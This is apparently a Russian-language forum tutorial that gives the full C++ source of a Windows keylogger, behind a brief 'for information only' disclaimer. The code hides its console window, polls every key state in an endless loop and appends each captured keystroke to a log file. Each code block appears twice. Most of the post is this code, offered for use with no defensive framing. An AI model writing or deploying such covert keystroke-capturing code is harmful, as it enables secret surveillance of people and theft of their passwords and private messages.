Вся представленная информация несёт лишь ознакомительный характер и не призывает Вас к действиям нарушающим закон! Кейлогер-это Кейлогер/кейлоггер- программное обеспечение или аппаратное устройство, регистрирующее различные действия пользователя- нажатия клавиш на клавиатуре компьютера, движения и нажатия клавиш мыши и т. д. Начнём! Инклудим библиотеки и включаем пространство имен std: #include <iostream> #include <Windows.h> using namespace std; Код #include <iostream> #include <Windows.h> using namespace std; Пишем протип функции для сохранения нажатых клавиш в файл: int save(int _key, char *file); Код int save(int _key, char *file); Пишем функцию main(), в которой будем получать клавиши, которые нажимает юзер: int main() { FreeConsole(); char i; while (true) { Sleep(10); for (i = 8; i <= 255; i++) { if (GetAsyncKeyState(i) == -32767) { save(i, "log.txt"); } } } return 0; } Код int main() { FreeConsole(); char i; while (true) { Sleep(10); for (i = 8; i <= 255; i++) { if (GetAsyncKeyState(i) == -32767) { save(i, "log.txt"); } } } return 0; } Далее пишем функцию save(), которой сохраняем клавиши в файл, в зависимости от defino`в в windows.h. Сохранять можно так-же и через потоки ввода-вывода файлов: int save(int _key, char *file) { cout << _key << endl; Sleep(10); FILE *OUTPUT_FILE; OUTPUT_FILE = fopen(file, "a+"); if (_key == VK_SHIFT) fprintf(OUTPUT_FILE, "%s", "[SHIFT]"); else if (_key == VK_BACK) fprintf(OUTPUT_FILE, "%s", "[BACK]"); else if (_key == VK_LBUTTON) fprintf(OUTPUT_FILE, "%s", "[LBUTTON]"); else if (_key == VK_RETURN) fprintf(OUTPUT_FILE, "%s", "[RETURN]\n"); else if (_key == VK_ESCAPE) fprintf(OUTPUT_FILE, "%s", "[ESCAPE]"); else fprintf(OUTPUT_FILE, "%s", &_key); fclose(OUTPUT_FILE); return 0; } Код int save(int _key, char *file) { cout << _key << endl; Sleep(10); FILE *OUTPUT_FILE; OUTPUT_FILE = fopen(file, "a+"); if (_key == VK_SHIFT) fprintf(OUTPUT_FILE, "%s", "[SHIFT]"); else if (_key == VK_BACK) fprintf(OUTPUT_FILE, "%s", "[BACK]"); else if (_key == VK_LBUTTON) fprintf(OUTPUT_FILE, "%s", "[LBUTTON]"); else if (_key == VK_RETURN) fprintf(OUTPUT_FILE, "%s", "[RETURN]\n"); else if (_key == VK_ESCAPE) fprintf(OUTPUT_FILE, "%s", "[ESCAPE]"); else fprintf(OUTPUT_FILE, "%s", &_key); fclose(OUTPUT_FILE); return 0; } Готово) Можете не благодарить)